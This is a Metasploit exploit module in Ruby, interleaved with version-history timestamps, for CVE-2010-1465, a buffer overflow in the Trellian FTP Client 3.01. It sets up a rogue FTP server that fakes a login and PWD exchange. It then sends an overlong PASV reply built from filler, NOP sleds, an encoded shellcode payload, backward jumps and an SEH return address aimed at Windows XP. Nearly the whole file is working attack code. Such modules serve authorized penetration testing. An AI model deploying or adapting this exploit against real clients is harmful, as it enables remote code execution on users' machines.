2010-04-26 18:29:24 +00:00
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-04-26 18:29:24 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = NormalRanking
|
2010-04-26 18:29:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::TcpServer
|
2010-04-26 18:29:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Trellian FTP Client 3.01 PASV Remote Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a buffer overflow in the Trellian 3.01 FTP client that is triggered
|
|
|
|
through an excessively long PASV message.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'zombiefx', # Original exploit author
|
|
|
|
'dookie' # MSF module author
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2010-1465'],
|
|
|
|
[ 'OSVDB', '63812'],
|
|
|
|
[ 'EDB', '12152' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'seh',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 900,
|
|
|
|
'BadChars' => "\x00\x29\x2c\x2e",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Windows XP Universal', { 'Ret' => "\xfd\x21\x40" } ], # 0x004021fd p/p/r in ftp.exe
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Apr 11 2010',
|
|
|
|
'DefaultTarget' => 0))
|
2010-04-26 18:29:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
|
|
|
|
], self.class)
|
|
|
|
end
|
2010-04-26 18:29:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def on_client_connect(client)
|
|
|
|
return if ((p = regenerate_payload(client)) == nil)
|
2010-04-26 18:29:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Let the client log in
|
|
|
|
client.get_once
|
2010-04-26 18:29:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
user = "331 Please specify the password.\r\n"
|
|
|
|
client.put(user)
|
2010-04-26 18:29:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
client.get_once
|
|
|
|
pass = "230 Login successful.\r\n"
|
|
|
|
client.put(pass)
|
2010-04-26 18:29:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Handle the clients PWD command
|
|
|
|
client.get_once
|
|
|
|
pwd = "257 \"/\" is current directory.\r\n"
|
|
|
|
client.put(pwd)
|
|
|
|
client.get_once
|
2010-04-26 18:29:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sploit = "227 Entering Passive Mode ("
|
|
|
|
sploit << rand_text_alpha_upper(2171)
|
|
|
|
sploit << make_nops(100)
|
|
|
|
sploit << payload.encoded
|
|
|
|
sploit << make_nops(900 - (payload.encoded.length))
|
|
|
|
sploit << "\xe9\x18\xfc\xff\xff" # Jump back 1000 bytes
|
|
|
|
sploit << "\xeb\xf9\x90\x90" # Jump back 7 bytes
|
|
|
|
sploit << [target.ret].pack("A3")
|
|
|
|
sploit << ")\r\n"
|
2010-04-26 18:29:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
client.put(sploit)
|
2010-04-26 18:29:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2010-04-26 18:29:24 +00:00
|
|
|
|
|
|
|
end
|